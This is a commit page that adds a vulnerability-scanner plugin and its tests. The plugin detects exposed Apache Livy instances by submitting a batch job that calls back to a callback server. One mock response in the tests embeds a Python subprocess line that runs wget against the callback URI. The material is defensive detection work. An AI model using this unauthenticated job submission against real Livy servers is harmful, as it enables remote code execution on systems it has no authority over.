Skip to content

Commit 62eafca

Browse files
Merge pull request #686 from joernNNN:livy-exposed-ui
PiperOrigin-RevId: 880870346 Change-Id: Iea8ae1eca17c4da4f107042e69078ac5e534d39a
2 parents 204cd65 + 290eb19 commit 62eafca

2 files changed

Lines changed: 208 additions & 0 deletions

File tree

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "ApacheLivy_ExposedUI"
11+
author: "joernNNN"
12+
version: "0.1"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "APACHELIVY_EXPOSED_UI"
19+
}
20+
title: "Apache Livy Exposed instance"
21+
description: "Apache Livy instance is exposed and can be used to compromise the system."
22+
recommendation:
23+
"Configure authentication or ensure the Apache Livy instance is not exposed "
24+
"to the network. See "
25+
"https://livy.apache.org/get-started/ for details."
26+
severity: CRITICAL
27+
}
28+
29+
###########
30+
# ACTIONS #
31+
###########
32+
33+
actions: {
34+
name: "livy_exposed_ui_fingerprint"
35+
http_request: {
36+
method: GET
37+
uri: "/ui"
38+
response: {
39+
http_status: 200
40+
expect_all: {
41+
conditions: { body {} contains: '<title>Livy - Sessions</title>' }
42+
}
43+
}
44+
}
45+
}
46+
47+
actions: {
48+
name: "create_batches"
49+
http_request: {
50+
method: POST
51+
uri: "/batches"
52+
headers: [
53+
{ name: "Content-Type" value: "application/json" }
54+
]
55+
data: '{"file":"{{ T_CBS_URI }}"}'
56+
response: {
57+
http_status: 201
58+
expect_all: {
59+
conditions: { body {} contains: '"proxyUser"' }
60+
conditions: { body {} contains: '"sparkUiUrl"' }
61+
}
62+
extract_all: {
63+
patterns: [
64+
{
65+
from_body: {}
66+
regexp: "\"id\":([0-9]+),"
67+
variable_name: "batch_id"
68+
}
69+
]
70+
}
71+
}
72+
}
73+
cleanup_actions: "cleanup_batches"
74+
}
75+
76+
actions: {
77+
name: "cleanup_batches"
78+
http_request: {
79+
method: DELETE
80+
uri: "/batches/{{ batch_id }}"
81+
response: {
82+
http_status: 200
83+
}
84+
}
85+
}
86+
87+
actions: {
88+
name: "sleep_for_callback"
89+
utility: { sleep: { duration_ms: 4000 } }
90+
}
91+
actions: {
92+
name: "check_callback_server_logs"
93+
callback_server: { action_type: CHECK }
94+
}
95+
96+
#############
97+
# WORKFLOWS #
98+
#############
99+
100+
workflows: {
101+
actions: [
102+
"livy_exposed_ui_fingerprint",
103+
"create_batches",
104+
"sleep_for_callback",
105+
"check_callback_server_logs"
106+
]
107+
}
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "ApacheLivy_ExposedUI"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsVuln"
10+
expect_vulnerability: true
11+
12+
mock_callback_server: {
13+
enabled: true
14+
has_interaction: true
15+
}
16+
mock_http_server: {
17+
mock_responses: [
18+
{
19+
uri: "/ui"
20+
status: 200
21+
body_content: '<title>Livy - Sessions</title>'
22+
},
23+
{
24+
uri: "/batches"
25+
status: 201
26+
body_content:
27+
'{"id":6,"name":null,"owner":null,"proxyUser":null,"state":"running","appId":null,"appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\nstderr: "]}'
28+
condition: {
29+
body_content: '{"file":"{{ T_CBS_URI }}"}'
30+
headers: [
31+
{
32+
name: "Content-Type",
33+
value: "application/json"
34+
}
35+
]
36+
}
37+
},
38+
{
39+
uri: "/batches/6"
40+
status: 200
41+
}
42+
]
43+
}
44+
}
45+
46+
47+
tests: {
48+
name: "whenNotApcheLivy_returnsNoVuln"
49+
expect_vulnerability: false
50+
51+
mock_http_server: {
52+
mock_responses: [
53+
{
54+
uri: "/api/v1/main/usages/all"
55+
status: 400
56+
body_content: "..."
57+
}
58+
]
59+
}
60+
}
61+
62+
tests: {
63+
name: "whenNoCallback_returnsFalse"
64+
expect_vulnerability: false
65+
66+
mock_callback_server: {
67+
enabled: true
68+
has_interaction: false
69+
}
70+
71+
mock_http_server: {
72+
mock_responses: [
73+
{
74+
uri: "/ui"
75+
status: 200
76+
body_content: '<title>Livy - Sessions</title>'
77+
},
78+
{
79+
uri: "/batches"
80+
status: 201
81+
body_content:
82+
'{"id":6,"name":null,"owner":null,"proxyUser":null,"state":"running","appId":null,"appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\nstderr: "]}'
83+
condition: {
84+
body_content: '{"file":"{{ T_CBS_URI }}"}'
85+
headers: [
86+
{
87+
name: "Content-Type",
88+
value: "application/json"
89+
}
90+
]
91+
}
92+
},
93+
{
94+
uri: "/batches/6"
95+
status: 200
96+
body_content:
97+
'{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}'
98+
}
99+
]
100+
}
101+
}

0 commit comments

Comments
 (0)